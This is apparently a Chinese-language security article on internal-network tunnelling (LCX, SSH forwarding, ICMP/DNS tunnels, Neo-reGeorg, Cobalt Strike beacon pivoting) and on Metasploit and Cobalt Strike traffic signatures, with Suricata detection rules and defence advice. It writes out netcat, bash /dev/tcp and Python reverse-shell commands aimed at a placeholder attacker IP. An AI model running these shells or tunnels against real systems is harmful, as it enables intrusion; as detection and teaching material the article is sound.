内网隧道的搭建以及攻击流量特征概述
字数 1476 2025-08-29 08:29:42
内网隧道搭建与攻击流量特征分析
一、隧道技术概述
1. 隧道分类
按流量层分类:
- 应用层隧道:DNS、HTTP、SSH
- 传输层隧道:TCP隧道、UDP隧道
- 网络层隧道:ICMP隧道、IPv6隧道
按作用分类:
- 反弹SHELL:nc、python、bash
- 端口转发:LCX、SSH、iptables、telnet
- 端口映射:LCX、NPS、FRP
- 正向代理:EW、NSP、FRP
- 反向代理:EW、NSP、FRP
2. 端口转发与端口映射区别
- 端口转发:将一个端口收到的流量转发到另一个端口(SSH隧道常用)
- 端口映射:将公网地址转成私有地址(NAT的一种)
3. HTTP代理与SOCKS代理区别
- HTTP代理:使用HTTP协议,工作在应用层,主要用于代理浏览器访问网页
- SOCKS代理:使用SOCKS协议,工作在会话层,支持TCP/UDP传输(SOCKS5)
二、常见隧道技术实现
1. LCX端口转发
反向代理模式:
攻击机:lcx -listen <监听端口> <等待连接端口>
靶机:lcx -slave <攻击机IP> <监听端口> <目标IP> <目标端口>
端口映射模式:
lcx -tran <等待连接端口> <目标IP> <目标端口>
2. SSH端口转发
正向代理:
ssh -CfNg -L 本地端口:主机B_IP:主机B_端口 跳板主机A_IP
反向代理:
ssh -CfNg -R 攻击者端口:目标主机IP:目标主机端口 -fN 攻击者_IP
3. 反弹Shell技术
Netcat反弹:
- 正向Shell:
靶机:nc -lvvp 1111 -e /bin/bash (Linux) 或 nc -lvvp 1111 -e cmd.exe (Windows) 攻击机:nc 靶机IP 1111 - 反向Shell:
攻击机:nc -lvvp 1111 靶机:nc -e /bin/bash 攻击机IP 1111 (Linux) 或 nc -e cmd.exe 攻击机IP 1111 (Windows)
Bash反弹:
bash -i >&/dev/tcp/攻击机IP/攻击机端口 0>&1
Python反弹:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP",攻击机端口))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
4. ICMP隧道
使用工具如pingtunnel,利用ICMP协议的数据字段传输数据,绕过防火墙限制。
5. DNS隧道
利用DNS查询和响应传输数据,通常使用TXT记录类型隐藏通信内容。
三、内网代理技术
1. 正向代理隧道(不出网情况)
使用工具如Neo-reGeorg:
- 生成webshell代理脚本:
python3 neoreg.py generate -k password - 上传脚本到目标服务器
- 连接代理:
python3 neoreg.py -k password -u http://目标服务器/脚本路径
2. 多层代理技术
SMB Beacon上线(Cobalt Strike):
- 控制边界主机
- 创建SMB监听器
- 生成SMB类型木马
- 上传到内网机器执行
- 使用
link命令连接
TCP Beacon:
类似SMB Beacon但使用TCP socket通信,适合内网穿透。
HTTP代理上线:
- 控制边界机器搭建HTTP隧道
- 使用工具如Goproxy开启HTTP代理
- 配置CS监听器使用该代理
四、攻击流量特征分析
1. MSF(Metasploit)流量特征
Shell模式:
- 命令执行和返回结果均为明文
- 可通过敏感命令识别攻击流量
Meterpreter模式:
- TCP协议:加密流量,但存在固定模式特征
- HTTP/HTTPS协议:
- User-Agent固定为"Mozilla/5.0"
- HTTPS的JA3指纹固定为特定值
Suricata检测规则示例:
alert http any any -> any any (msg:"MSF HTTP Meterpreter"; flow:established,to_server; http.method; content:"POST"; http.user_agent; content:"Mozilla/5.0"; sid:1000001; rev:1;)
2. Cobalt Strike流量特征
HTTP协议:
- URL路径通过checksum8算法结果等于92或93
- 固定的POST请求模板
- 心跳包有特定解密特征
HTTPS协议:
- 固定的JA3指纹:
- Client Hello: 652358a663590cfc624787f06b82d9ae 或 4d93395b1c1b9ad28122fb4d09f28c5e
- Server Hello: 15af977ce25de452b96affa2addb1036 或 2253c82f03b621c5144709b393fde2c9
Suricata检测规则示例:
alert http any any -> any any (msg:"Cobalt Strike Beacon"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/submit.php"; sid:1000002; rev:1;)
五、防御建议
- 监控异常端口转发行为
- 检测异常的ICMP/DNS流量
- 部署IDS/IPS系统并配置上述特征规则
- 限制SSH端口转发功能
- 监控网络中的异常JA3指纹
- 定期审计网络中的代理服务
通过理解这些隧道技术和流量特征,安全团队可以更好地检测和防御内网渗透攻击。